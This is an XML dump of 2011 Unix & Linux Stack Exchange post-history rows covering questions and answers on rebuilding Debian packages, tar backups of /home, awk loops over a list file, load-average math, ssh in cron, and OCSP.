  <row Id="21070" PostHistoryTypeId="5" PostId="8850" RevisionGUID="af0335f3-47e4-4b4b-979a-e9ee091619cd" CreationDate="2011-03-09T05:05:48.770" UserId="3309" Comment="Comments about what's going on in the script" Text="Maybe something like this?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # This gets a list of all available packages&#xD;&#xA;    for i in $(dpkg -l \* | awk '/^[a-z]/ {print $2}')&#xD;&#xA;    do&#xD;&#xA;      # This downloads and unpacks the source.&#xD;&#xA;      # Any src packages already properly unpacked in the cwd won't be downloaded a second time.&#xD;&#xA;      apt-get source $i&#xD;&#xA;      apt-get build-dep -y $i&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    # This finds all buildable directories&#xD;&#xA;    for i in $(find . -name debian -type d | sed s/debian.*//g)&#xD;&#xA;    do&#xD;&#xA;      cd $i&#xD;&#xA;      debian/rules binary&#xD;&#xA;      cd -&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I know you said that you have the packages already, but I'm not sure what format they are in. If you already have all the packages properly unpacked in your `cwd` then apt will skip that package and move onto the next one. You can also pass `-s` to apt-get to test the commands.&#xD;&#xA;&#xD;&#xA;Almost all packages should build in one shot like this, if you're using the same release that you're trying to build.&#xD;&#xA;&#xD;&#xA;You will need lots of storage, and lots of time." />
  <row Id="21071" PostHistoryTypeId="25" PostId="8888" RevisionGUID="47046052-c6a9-4af3-ae46-ecaa38a9388f" CreationDate="2011-03-09T05:23:39.310" Comment="http://twitter.com/#!/StackUnix/status/45354035213111297" />
  <row Id="21072" PostHistoryTypeId="5" PostId="8879" RevisionGUID="c76f2a6e-dc37-4969-8eaa-dcab341f0e51" CreationDate="2011-03-09T05:26:52.353" UserId="688" Comment="add some context" Text="Yeah sorry about that. :)&#xD;&#xA;&#xD;&#xA;It *is* possible, but is only easy if you made /home be a separate partition. Despite my best efforts, this isn't the default.&#xD;&#xA;&#xD;&#xA;You don't have a lot of files yet, though, do you? I think the best bet is to boot into single user mode and copy the contents to a USB memory stick. That should be easy.&#xD;&#xA;&#xD;&#xA;You'll need to mount it manually -- plug it in, wait a few seconds, and then type `dmesg` and note the device that it says was inserted. Then, mount that with:&#xD;&#xA;&#xD;&#xA;    mount /dev/sdc /mnt&#xD;&#xA;&#xD;&#xA;replacing sdc with whatever dmesg said. (You may need sdc1, depending on how the device was formated).&#xD;&#xA;&#xD;&#xA;Then, change to the root directory (`cd /`) and run&#xD;&#xA;&#xD;&#xA;   tar cJvf /mnt/mattdm-is-sorry.tar.xz /home&#xD;&#xA;&#xD;&#xA;and when that completes, run&#xD;&#xA;&#xD;&#xA;   sync; sleep 3; umount /mnt&#xD;&#xA;&#xD;&#xA;(The sleep is for superstition.)&#xD;&#xA;&#xD;&#xA;The reason for tar rather than just copying is to preserve the Unix metadata, because the USB drive will be FAT formatted, and we don't want to mess with that right now.&#xD;&#xA;&#xD;&#xA;Then, once you have your system repaired (I still [recommend the F15 alpha!][1]), you can extract it with `tar xf /mnt/mattdm-is-sorry.tar.xz`. If you do that in `/` as root, it'll overwrite everything in your new `/home`, so probably the best thing to do is boot the new system into single user mode and do that first thing.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Oh, and this time, while you're installing, make `/home` its own partition. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8788/installed-fedora-in-dual-boot-windows-desktop-now-i-cant-get-full-monitor-resol/8800#8800" />
  <row Id="21073" PostHistoryTypeId="2" PostId="8894" RevisionGUID="2a889dfd-fb35-4487-bd7b-7d9b4b98a7c0" CreationDate="2011-03-09T05:29:13.097" UserId="5526" Text="I'm sorry if this is extremely elementary, but I just can't figure out how to do this, and my research has failed me as well.&#xD;&#xA;&#xD;&#xA;I have two files: data.csv and list.txt. Here's an example of what they look like&#xD;&#xA;&#xD;&#xA;data.csv:&#xD;&#xA;&#xD;&#xA;    &quot;John&quot;,&quot;red&quot;,&quot;4&quot;&#xD;&#xA;    &quot;Basketball&quot;,&quot;orange&quot;,&quot;2&quot;&#xD;&#xA;    &quot;The Mike&quot;,&quot;blue&quot;,&quot;94&quot;&#xD;&#xA;    &quot;Lizard&quot;,&quot;purple&quot;,&quot;3&quot;&#xD;&#xA;    &quot;Johnny&quot;,&quot;pink&quot;,&quot;32&quot;&#xD;&#xA;&#xD;&#xA;list.txt:&#xD;&#xA;&#xD;&#xA;    Mike&#xD;&#xA;    John&#xD;&#xA;    purple&#xD;&#xA;    32&#xD;&#xA;&#xD;&#xA;Now, I am trying to figure out how I can make a loop&#xD;&#xA;&#xD;&#xA;    awk -F &quot;\&quot;*,\&quot;*&quot; '/**LIST ITEM**/ {print $1}' data.csv &gt; output.txt&#xD;&#xA;&#xD;&#xA;where the command runs for each line of list.txt, replacing **LIST ITEM**. How can this be accomplished?&#xD;&#xA;&#xD;&#xA;I'm running this though Terminal on MacOSX 10.5.7." />
  <row Id="21074" PostHistoryTypeId="1" PostId="8894" RevisionGUID="2a889dfd-fb35-4487-bd7b-7d9b4b98a7c0" CreationDate="2011-03-09T05:29:13.097" UserId="5526" Text="Loop a list through awk" />
  <row Id="21075" PostHistoryTypeId="3" PostId="8894" RevisionGUID="2a889dfd-fb35-4487-bd7b-7d9b4b98a7c0" CreationDate="2011-03-09T05:29:13.097" UserId="5526" Text="éawkà" />
  <row Id="21076" PostHistoryTypeId="2" PostId="8895" RevisionGUID="c6cb4770-8973-4127-91a2-d6a5143e5052" CreationDate="2011-03-08T22:34:15.717" UserDisplayName="user368507" Text="Hello&#xD;&#xA;&#xD;&#xA;Until recently i thought the load average (as shown for example in top) was a moving average on the n last values of the number of process in state &quot;runnable&quot; or &quot;running&quot;. And n would have been defined by the &quot;length&quot; of the moving average: since the algorithm to compute load average seems to trigger every 5 sec, n would have been 12 for the 1min load average, 12x5 for the 5 min load average and 12x15 for the 15 min load average.&#xD;&#xA;&#xD;&#xA;But then i read this article: http://www.linuxjournal.com/article/9001. The article is quite old but the same algorithm is implemented today in the linux kernel. The load average is not a moving average but .. an algorithm for which i don't know a name. Anyway i made a comparison between the linux kernel algorithm and a moving average for an imaginary periodic load: http://i.imgur.com/Gjdtx.png. There is a huge difference.&#xD;&#xA;&#xD;&#xA;Finally my questions are:&#xD;&#xA;&#xD;&#xA;- Why this implementation have been choosen compared to a true moving average, that has a real meaning to anyone ?&#xD;&#xA;- Why everybody speaks about &quot;1min load average&quot; since much more than the last minute is taken into account by the algorithm. (mathematically, all the measure since the boot; in practice, taking into accound the round-off error.. still a lot of measures)&#xD;&#xA;&#xD;&#xA;Thank you for your time" />
  <row Id="21077" PostHistoryTypeId="1" PostId="8895" RevisionGUID="c6cb4770-8973-4127-91a2-d6a5143e5052" CreationDate="2011-03-08T22:34:15.717" UserDisplayName="user368507" Text="linux kernel load average computation: why everybody speaks about 1min, 5min and 15min" />
  <row Id="21078" PostHistoryTypeId="3" PostId="8895" RevisionGUID="c6cb4770-8973-4127-91a2-d6a5143e5052" CreationDate="2011-03-08T22:34:15.717" UserDisplayName="user368507" Text="émonitoringà" />
  <row Id="21079" PostHistoryTypeId="17" PostId="8895" RevisionGUID="2d58024c-7cd9-4d0d-997c-584f792b62b6" CreationDate="2011-03-09T05:31:51.910" UserId="-1" Comment="from http://stackoverflow.com/questions/5239209/linux-kernel-load-average-computation-why-everybody-speaks-about-1min-5min-and" Text="" />
  <row Id="21080" PostHistoryTypeId="2" PostId="8896" RevisionGUID="a40b106b-ec00-42c8-903d-43d5cbab92d2" CreationDate="2011-03-09T05:37:31.477" UserId="5454" Text="I know it's basically the same answer I gave to your other question, but in addition to what Gilles has said, you should use an automated security audit tool like [tiger][1].&#xD;&#xA;&#xD;&#xA;If your distro ships a setting by default, and tiger doesn't warn about it, then the setting should be fine.  For files and folders you create yourself, you can and should use your own discretion.  In my experience and opinion, there are really only a few files and folders that shouldn't be world-readable, and there's almost never a good reason to have anything world-writeable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nongnu.org/tiger/" />
  <row Id="21081" PostHistoryTypeId="5" PostId="8894" RevisionGUID="49544b1f-dd6f-47d1-b685-9bb8315d1d9b" CreationDate="2011-03-09T05:42:02.147" UserId="5526" Comment="added 4 characters in body; added 124 characters in body" Text="I'm sorry if this is extremely elementary, but I just can't figure out how to do this, and my research has failed me as well.&#xD;&#xA;&#xD;&#xA;I have two files: data.csv and list.txt. Here's an example of what they look like&#xD;&#xA;&#xD;&#xA;data.csv:&#xD;&#xA;&#xD;&#xA;    &quot;John&quot;,&quot;red&quot;,&quot;4&quot;&#xD;&#xA;    &quot;Basketball&quot;,&quot;orange&quot;,&quot;2&quot;&#xD;&#xA;    &quot;The Mike&quot;,&quot;blue&quot;,&quot;94&quot;&#xD;&#xA;    &quot;Lizard&quot;,&quot;purple&quot;,&quot;3&quot;&#xD;&#xA;    &quot;Johnny&quot;,&quot;pink&quot;,&quot;32&quot;&#xD;&#xA;&#xD;&#xA;list.txt:&#xD;&#xA;&#xD;&#xA;    Mike&#xD;&#xA;    John&#xD;&#xA;    purple&#xD;&#xA;    32&#xD;&#xA;&#xD;&#xA;Now, I am trying to figure out how I can make a loop&#xD;&#xA;&#xD;&#xA;    awk -F &quot;\&quot;*,\&quot;*&quot; '/**LIST ITEM**/ {print $1}' data.csv &gt; output.txt&#xD;&#xA;&#xD;&#xA;where the command runs for each line of list.txt, replacing \*\*LIST ITEM\*\*. How can this be accomplished?&#xD;&#xA;&#xD;&#xA;I'm running this though Terminal on MacOSX 10.5.7.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;The desired output for the above example would be&#xD;&#xA;&#xD;&#xA;    The Mike&#xD;&#xA;    John&#xD;&#xA;    Johnny&#xD;&#xA;    lizard&#xD;&#xA;    Johnny" />
  <row Id="21082" PostHistoryTypeId="5" PostId="8894" RevisionGUID="8ee821e4-16ed-47e7-b8e3-9e0ce1ee179e" CreationDate="2011-03-09T05:48:36.803" UserId="5526" Comment="edited body" Text="I'm sorry if this is extremely elementary, but I just can't figure out how to do this, and my research has failed me as well.&#xD;&#xA;&#xD;&#xA;I have two files: data.csv and list.txt. Here's an example of what they look like&#xD;&#xA;&#xD;&#xA;data.csv:&#xD;&#xA;&#xD;&#xA;    &quot;John&quot;,&quot;red&quot;,&quot;4&quot;&#xD;&#xA;    &quot;Basketball&quot;,&quot;orange&quot;,&quot;2&quot;&#xD;&#xA;    &quot;The Mike&quot;,&quot;blue&quot;,&quot;94&quot;&#xD;&#xA;    &quot;Lizard&quot;,&quot;purple&quot;,&quot;3&quot;&#xD;&#xA;    &quot;Johnny&quot;,&quot;pink&quot;,&quot;32&quot;&#xD;&#xA;&#xD;&#xA;list.txt:&#xD;&#xA;&#xD;&#xA;    Mike&#xD;&#xA;    John&#xD;&#xA;    purple&#xD;&#xA;    32&#xD;&#xA;&#xD;&#xA;Now, I am trying to figure out how I can make a loop&#xD;&#xA;&#xD;&#xA;    awk -F &quot;\&quot;*,\&quot;*&quot; '/**LIST ITEM**/ {print $1}' data.csv &gt; output.txt&#xD;&#xA;&#xD;&#xA;where the command runs for each line of list.txt, replacing \*\*LIST ITEM\*\*. How can this be accomplished?&#xD;&#xA;&#xD;&#xA;I'm running this though Terminal on MacOSX 10.5.7.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;The desired output for the above example would be&#xD;&#xA;&#xD;&#xA;    The Mike&#xD;&#xA;    John&#xD;&#xA;    Johnny&#xD;&#xA;    Lizard&#xD;&#xA;    Johnny" />
  <row Id="21083" PostHistoryTypeId="2" PostId="8897" RevisionGUID="d3b1470c-ed75-4ada-990c-946e8f657765" CreationDate="2011-03-09T05:48:36.787" UserId="5325" Text="This difference dates back to the original Berkeley Unix, and stems from the fact that the kernel can't actually keep a rolling average; it would need to retain a large number of past readings in order to do so, and especially in the old days there just wasn't memory to spare for it.  The algorithm used instead has the advantage that all the kernel needs to keep is the result of the previous calculation.&#xD;&#xA;&#xD;&#xA;Keep in mind the algorithm was a bit closer to the truth back when computer speeds and corresponding clock cycles were measured in tens of MHz instead of GHz; there's a lot more time for discrepancies to creep in these days." />
  <row Id="21084" PostHistoryTypeId="5" PostId="8894" RevisionGUID="c1c11b11-5d29-42b9-a958-b3e9b82fbadb" CreationDate="2011-03-09T06:01:41.980" UserId="5526" Comment="added 360 characters in body" Text="I'm sorry if this is extremely elementary, but I just can't figure out how to do this, and my research has failed me as well.&#xD;&#xA;&#xD;&#xA;I have two files: data.csv and list.txt. Here's an example of what they look like&#xD;&#xA;&#xD;&#xA;data.csv:&#xD;&#xA;&#xD;&#xA;    &quot;John&quot;,&quot;red&quot;,&quot;4&quot;&#xD;&#xA;    &quot;Basketball&quot;,&quot;orange&quot;,&quot;2&quot;&#xD;&#xA;    &quot;The Mike&quot;,&quot;blue&quot;,&quot;94&quot;&#xD;&#xA;    &quot;Lizard&quot;,&quot;purple&quot;,&quot;3&quot;&#xD;&#xA;    &quot;Johnny&quot;,&quot;pink&quot;,&quot;32&quot;&#xD;&#xA;&#xD;&#xA;list.txt:&#xD;&#xA;&#xD;&#xA;    Mike&#xD;&#xA;    John&#xD;&#xA;    purple&#xD;&#xA;    32&#xD;&#xA;&#xD;&#xA;Now, I am trying to figure out how I can make a loop&#xD;&#xA;&#xD;&#xA;    awk -F &quot;\&quot;*,\&quot;*&quot; '/**LIST ITEM**/ {print $1}' data.csv &gt; output.txt&#xD;&#xA;&#xD;&#xA;where the command runs for each line of list.txt, replacing \*\*LIST ITEM\*\*. How can this be accomplished?&#xD;&#xA;&#xD;&#xA;I'm running this though Terminal on MacOSX 10.5.7.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;The desired output for the above example would be&#xD;&#xA;&#xD;&#xA;    The Mike&#xD;&#xA;    John&#xD;&#xA;    Johnny&#xD;&#xA;    Lizard&#xD;&#xA;    Johnny&#xD;&#xA;&#xD;&#xA;EDIT2:&#xD;&#xA;&#xD;&#xA;To be more clear, I am trying to avoid doing this:&#xD;&#xA;&#xD;&#xA;    awk -F &quot;\&quot;*,\&quot;*&quot; '/Mike/ {print $1}' data.csv&#xD;&#xA;    awk -F &quot;\&quot;*,\&quot;*&quot; '/John/ {print $1}' data.csv&#xD;&#xA;    awk -F &quot;\&quot;*,\&quot;*&quot; '/purple/ {print $1}' data.csv&#xD;&#xA;    awk -F &quot;\&quot;*,\&quot;*&quot; '/32/ {print $1}' data.csv&#xD;&#xA;&#xD;&#xA;And instead, run it in one command, somehow looping through all the lines of list.txt." />
  <row Id="21085" PostHistoryTypeId="2" PostId="8898" RevisionGUID="dec40115-1598-4cf1-8753-e78aa3d50cc3" CreationDate="2011-03-09T06:03:31.697" UserId="5527" Text="You could try installing Minix v3 [1] on it.  It is far less demanding than Linux and has some good developers working on it.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.minix3.org/" />
  <row Id="21086" PostHistoryTypeId="2" PostId="8899" RevisionGUID="8362b0dc-954b-4f4c-9ce3-086b35602769" CreationDate="2011-03-09T06:08:20.563" UserId="5325" Text="I'm not entirely clear on what you're trying to do:  replace **LIST ITEM** with what?  Just looking for a match anywhere and outputting the first field?  Also, your example `list.txt` appears to match anywhere in the line, which could potentially be problematic:  what if `list.txt` at some point contains the line `e`?  That would match all but the last line of your sample `data.csv`.&#xD;&#xA;&#xD;&#xA;    awk -F '^&quot;?|&quot;?,&quot;?|&quot;$?' 'BEGIN {&#xD;&#xA;                              # read list.txt into an array&#xD;&#xA;                              while (getline pat &lt; &quot;list.txt&quot;) {&#xD;&#xA;                                pats[pat] = 1&#xD;&#xA;                              }&#xD;&#xA;                              close(&quot;list.txt&quot;)&#xD;&#xA;                            }&#xD;&#xA;                            {&#xD;&#xA;                              # skip empty field before leading &quot;&#xD;&#xA;                              if ($1 == &quot;&quot;) {&#xD;&#xA;                                res = $2&#xD;&#xA;                              } else {&#xD;&#xA;                                res = $1&#xD;&#xA;                              }&#xD;&#xA;                              # scan record for patterns stored earlier,&#xD;&#xA;                              # output the first real data field (res) if&#xD;&#xA;                              # found&#xD;&#xA;                              for (pat in pats) {&#xD;&#xA;                                if ($0 ~ pat) {&#xD;&#xA;                                  print res&#xD;&#xA;                                }&#xD;&#xA;                              }&#xD;&#xA;                            }' data.csv&#xD;&#xA;&#xD;&#xA;This is a bit more complex than it could be; your field separator doesn't deal with the optional leading quotation mark on the first field or the optional trailing one on the last field.  Mine does, but at the price that if it's there the first field will be empty (the empty string before `^&quot;?`).  It also doesn't try to deal with embedded quotes.  A dedicated CSV parser would be a better idea if you need to support random generalized CSV." />
  <row Id="21087" PostHistoryTypeId="2" PostId="8900" RevisionGUID="080fe66a-212f-470d-a916-12fdb4f47c98" CreationDate="2011-03-09T06:10:50.843" UserId="1338" Text="    #!/bin/bash&#xD;&#xA;&#xD;&#xA;     while read -r line; do &#xD;&#xA;       awk -F '^&quot;|&quot;,&quot;|&quot;$' '$0 ~ line{print $2}' line=&quot;$line&quot; data.csv&#xD;&#xA;     done &lt; list.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Proof of Concept###&#xD;&#xA;&#xD;&#xA;    $ while read -r line; do awk -F '^&quot;|&quot;,&quot;|&quot;$' '$0 ~ line{print $2}' line=&quot;$line&quot; data.csv; done &lt; list.txt&#xD;&#xA;    The Mike&#xD;&#xA;    John&#xD;&#xA;    Johnny&#xD;&#xA;    Lizard&#xD;&#xA;    Johnny&#xD;&#xA;&#xD;&#xA;This field separator deals with embedded quotes and/or commas" />
  <row Id="21088" PostHistoryTypeId="2" PostId="8901" RevisionGUID="10689d37-afff-4bf1-b240-a65d5afecd4d" CreationDate="2011-03-09T06:20:09.867" UserId="4667" Text="This meets the order of your desired output:&#xD;&#xA;&#xD;&#xA;    $ awk -F, '&#xD;&#xA;        NR == FNR {field1[$0] = $1; next}&#xD;&#xA;        {&#xD;&#xA;          for (line in field1) &#xD;&#xA;            if (line ~ $0) &#xD;&#xA;              print field1[line]&#xD;&#xA;        }&#xD;&#xA;      ' data.csv list.txt &#xD;&#xA;    &quot;The Mike&quot;&#xD;&#xA;    &quot;John&quot;&#xD;&#xA;    &quot;Johnny&quot;&#xD;&#xA;    &quot;Lizard&quot;&#xD;&#xA;    &quot;Johnny&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21089" PostHistoryTypeId="5" PostId="8901" RevisionGUID="bf19a613-1543-4e63-b4ca-0340fe556b1f" CreationDate="2011-03-09T06:28:24.647" UserId="4667" Comment="added 596 characters in body" Text="This meets the order of your desired output:&#xD;&#xA;&#xD;&#xA;    $ awk -F, '&#xD;&#xA;        NR == FNR {field1[$0] = $1; next}&#xD;&#xA;        {&#xD;&#xA;          for (line in field1) &#xD;&#xA;            if (line ~ $0) &#xD;&#xA;              print field1[line]&#xD;&#xA;        }&#xD;&#xA;      ' data.csv list.txt &#xD;&#xA;    &quot;The Mike&quot;&#xD;&#xA;    &quot;John&quot;&#xD;&#xA;    &quot;Johnny&quot;&#xD;&#xA;    &quot;Lizard&quot;&#xD;&#xA;    &quot;Johnny&quot;&#xD;&#xA;&#xD;&#xA;This reads the data.csv file into memory, mapping the whole line to field1. Then, each line of the list.txt file is checked against each element of the field1 array.&#xD;&#xA;&#xD;&#xA;If the data file is much larger than the list file, then it would make more sense to hold the smaller file in memory and loop over the larger file a line at a time:&#xD;&#xA;&#xD;&#xA;    $ awk -F, '&#xD;&#xA;        NR == FNR {list[$1]; next}&#xD;&#xA;        {&#xD;&#xA;          for (item in list) &#xD;&#xA;            if ($0 ~ item) &#xD;&#xA;              print $1&#xD;&#xA;        }&#xD;&#xA;      ' list.txt data.csv &#xD;&#xA;    &quot;John&quot;&#xD;&#xA;    &quot;The Mike&quot;&#xD;&#xA;    &quot;Lizard&quot;&#xD;&#xA;    &quot;Johnny&quot;&#xD;&#xA;    &quot;Johnny&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21090" PostHistoryTypeId="2" PostId="8902" RevisionGUID="fc21025c-cd3d-4363-8d7f-081f82b10237" CreationDate="2011-03-09T07:20:19.720" UserId="651" Text="It was a bug in versions of `GNU Grep` earlier than [this commit](http://git.savannah.gnu.org/cgit/grep.git/commit/?id=8a025cf81cdf5c3e809c3ecf0656419a2d596796)." />
  <row Id="21091" PostHistoryTypeId="5" PostId="8902" RevisionGUID="79e423f2-fa62-4682-9a2d-081fdec390af" CreationDate="2011-03-09T07:27:44.347" UserId="651" Comment="added 173 characters in body; deleted 4 characters in body; added 2 characters in body" Text="It was a bug in versions of `GNU Grep` earlier than [this commit](http://git.savannah.gnu.org/cgit/grep.git/commit/?id=8a025cf81cdf5c3e809c3ecf0656419a2d596796).&#xD;&#xA;&#xD;&#xA;Quoting the relevant part of the changelog:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    Previously failing tests relative to left anchors (^ and \&lt;) and -w should now pass." />
  <row Id="21092" PostHistoryTypeId="2" PostId="8903" RevisionGUID="7a319ccb-8af0-4314-82f9-0bd403bd3d8e" CreationDate="2011-03-09T07:32:29.013" UserId="5529" Text="Below is the script which i am trying to run, which runs without any issue &#xD;&#xA;&#xD;&#xA;for i in `seq 200 2100`&#xD;&#xA;do&#xD;&#xA;usr=(`ssh -t -t -o ConnectTimeout=60 machine$1 finger | tail -1 | awk '{print$1}'`) &#xD;&#xA;echo $usr&#xD;&#xA;done&#xD;&#xA;&#xD;&#xA;But Once i add it to crontab, it doesn't give me the user.&#xD;&#xA;&#xD;&#xA;22       12   *       *       *       sh /home/subrahmanyam/Scripts/who.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please give your thoughts..... &#xD;&#xA;&#xD;&#xA;may be cron demon is running, so we need to include some binaries...?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Subbu&#xD;&#xA;" />
  <row Id="21093" PostHistoryTypeId="1" PostId="8903" RevisionGUID="7a319ccb-8af0-4314-82f9-0bd403bd3d8e" CreationDate="2011-03-09T07:32:29.013" UserId="5529" Text="Not able to ssh in to remote machine using shell script in Crontab" />
  <row Id="21094" PostHistoryTypeId="3" PostId="8903" RevisionGUID="7a319ccb-8af0-4314-82f9-0bd403bd3d8e" CreationDate="2011-03-09T07:32:29.013" UserId="5529" Text="élinuxàésshàéshellöscriptàécronà" />
  <row Id="21095" PostHistoryTypeId="5" PostId="8902" RevisionGUID="2bb10270-ad46-4b54-8ad0-98b9cd591cad" CreationDate="2011-03-09T07:34:52.377" UserId="651" Comment="added 252 characters in body; added 63 characters in body; added 77 characters in body" Text="It was a [bug](http://savannah.gnu.org/bugs/?func=detailitem&amp;item_id=11579) in versions of `GNU Grep` earlier than [this commit](http://git.savannah.gnu.org/cgit/grep.git/commit/?id=8a025cf81cdf5c3e809c3ecf0656419a2d596796).&#xD;&#xA;&#xD;&#xA;Quoting the relevant part of the changelog:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    Previously failing tests relative to left anchors (^ and \&lt;) and -w should now pass.&#xD;&#xA;&#xD;&#xA;The [initial commit](http://git.savannah.gnu.org/cgit/grep.git/commit/?id=13fd3250e8cfd45a3165e03521e616220ee51c43) that described the bug also added a test for it:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    # End of a previous match should not match a &quot;start of ...&quot; expression.&#xD;&#xA;    grep_test &quot;word_word/&quot; &quot;word_/&quot; &quot;^word_*&quot; -o" />
  <row Id="21096" PostHistoryTypeId="5" PostId="8902" RevisionGUID="f4528d90-6191-4e96-9930-44f09ce7fddf" CreationDate="2011-03-09T07:43:00.387" UserId="651" Comment="added 42 characters in body" Text="It was a [bug](http://savannah.gnu.org/bugs/?func=detailitem&amp;item_id=11579) in versions of `GNU Grep` earlier than [this commit](http://git.savannah.gnu.org/cgit/grep.git/commit/?id=8a025cf81cdf5c3e809c3ecf0656419a2d596796) (i.e. earlier than `GNU` version `2.5.3`).&#xD;&#xA;&#xD;&#xA;Quoting the relevant part of the changelog:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    Previously failing tests relative to left anchors (^ and \&lt;) and -w should now pass.&#xD;&#xA;&#xD;&#xA;The [initial commit](http://git.savannah.gnu.org/cgit/grep.git/commit/?id=13fd3250e8cfd45a3165e03521e616220ee51c43) that described the bug also added a test for it:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bash --&gt;&#xD;&#xA;&#xD;&#xA;    # End of a previous match should not match a &quot;start of ...&quot; expression.&#xD;&#xA;    grep_test &quot;word_word/&quot; &quot;word_/&quot; &quot;^word_*&quot; -o" />
  <row Id="21097" PostHistoryTypeId="2" PostId="8904" RevisionGUID="458a30d7-0c97-4712-93ab-d6a324bffc46" CreationDate="2011-03-09T07:44:08.513" UserId="5325" Text="Who types the password?  The cron job can't get at your ssh-agent, so public key won't work.&#xD;&#xA;&#xD;&#xA;You need to supply `ssh` with a key file explicitly (see the `-i` option), since it can't query an agent; and that key *must* have an empty passphrase." />
  <row Id="21098" PostHistoryTypeId="2" PostId="8905" RevisionGUID="0f85c9d8-ca13-486c-bb1b-edae6dc564b1" CreationDate="2011-03-09T07:47:36.310" UserId="5530" Text="They are stored in here&#xD;&#xA;/home/&lt;username&gt;/.cache/chromium/Default/Cache" />
  <row Id="21099" PostHistoryTypeId="5" PostId="8905" RevisionGUID="672259dc-9711-4bd6-85ed-2e2b773d6761" CreationDate="2011-03-09T07:55:31.693" UserId="73" Comment="deleted 4 characters in body" Text="They are stored in `/home/&lt;username&gt;/.cache/chromium/Default/Cache`" />
  <row Id="21101" PostHistoryTypeId="2" PostId="8907" RevisionGUID="0b3456f3-b9f8-4da6-b035-604d1381fb5c" CreationDate="2011-03-09T08:08:34.407" UserId="1942" Text="Obviously I don't want to actually modify a squashfs. What I would like to do though is take an existing squashfs, a set of files and create a new squashfs which is identical to the old one except that the files in the set either replace similar files in the squasfs or are just added if there is no similar files.&#xD;&#xA;&#xD;&#xA;Ok that last part sounded wierd. So let me give an example:&#xD;&#xA;&#xD;&#xA;there is a squashfs called mfs.squash. Inside it there is a file ./a/foo. &#xD;&#xA;I want to crewate a new squashfs which is identical to the old squashfs -- except &#xD;&#xA;that there is a new file a/b and I overwrite the ./a/foo with one of my specification.&#xD;&#xA;" />
  <row Id="21102" PostHistoryTypeId="1" PostId="8907" RevisionGUID="0b3456f3-b9f8-4da6-b035-604d1381fb5c" CreationDate="2011-03-09T08:08:34.407" UserId="1942" Text="Modifying a squasfs," />
  <row Id="21103" PostHistoryTypeId="3" PostId="8907" RevisionGUID="0b3456f3-b9f8-4da6-b035-604d1381fb5c" CreationDate="2011-03-09T08:08:34.407" UserId="1942" Text="élinuxà" />
  <row Id="21104" PostHistoryTypeId="25" PostId="8894" RevisionGUID="0e8a636b-e9c4-49eb-b1dd-79fda8d2cf0a" CreationDate="2011-03-09T08:23:39.740" Comment="http://twitter.com/#!/StackUnix/status/45399335969632257" />
  <row Id="21105" PostHistoryTypeId="2" PostId="8908" RevisionGUID="5fabf999-83f1-4832-9953-4cd9e405e371" CreationDate="2011-03-09T08:56:43.193" UserId="4724" Text="I use privoxy. In the user.action file i have a redirect rule and a few websites: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;`{ +redirect{s@http://@https://@} }`&lt;br&gt;&#xD;&#xA;`.twitter.com`&lt;br&gt;&#xD;&#xA;`.facebook.com`&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Ok! it's working great, e.g.: if i visit any &quot;*twitter.com&quot; URL it gets redirected to HTTPS!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;But: with wireshark i can see some &quot;OCSP&quot; packets [ http://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol ]&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Question: What are these packets? Why aren't there in HTTPS?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Is my redirection method with privoxy is secure?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you for any tips/opinions!" />
  <row Id="21106" PostHistoryTypeId="1" PostId="8908" RevisionGUID="5fabf999-83f1-4832-9953-4cd9e405e371" CreationDate="2011-03-09T08:56:43.193" UserId="4724" Text="what is the &quot;Online Certificate Status Protocol&quot;" />
  <row Id="21107" PostHistoryTypeId="3" PostId="8908" RevisionGUID="5fabf999-83f1-4832-9953-4cd9e405e371" CreationDate="2011-03-09T08:56:43.193" UserId="4724" Text="élinuxàésecurityà" />
  <row Id="21109" PostHistoryTypeId="2" PostId="8910" RevisionGUID="d4083492-ab57-421e-9a36-c781d671fadd" CreationDate="2011-03-09T09:24:35.140" UserId="3459" Text="It is a replacement for Certificate Revocation Lists. Instead of having to download a (very huge) list of all revoked certificates for each root certificate, a remote server can be queried for just the status of a specific certificate." />
  <row Id="21110" PostHistoryTypeId="2" PostId="8911" RevisionGUID="4f1e9991-e452-47cc-a354-1982fd210dc1" CreationDate="2011-03-09T09:26:31.437" UserId="5325" Text="OCSP is a way for programs that use X.509 certificates (such as anything using SSL, like web browsers for `https:` URLs) to check whether a certificate has been revoked because it was compromised.&#xD;&#xA;&#xD;&#xA;You're not seeing them when using `https:` directly because you would need a packet tracer that can decrypt SSL *and* the SSL certificate used for encryption — which in most cases you won't have." />
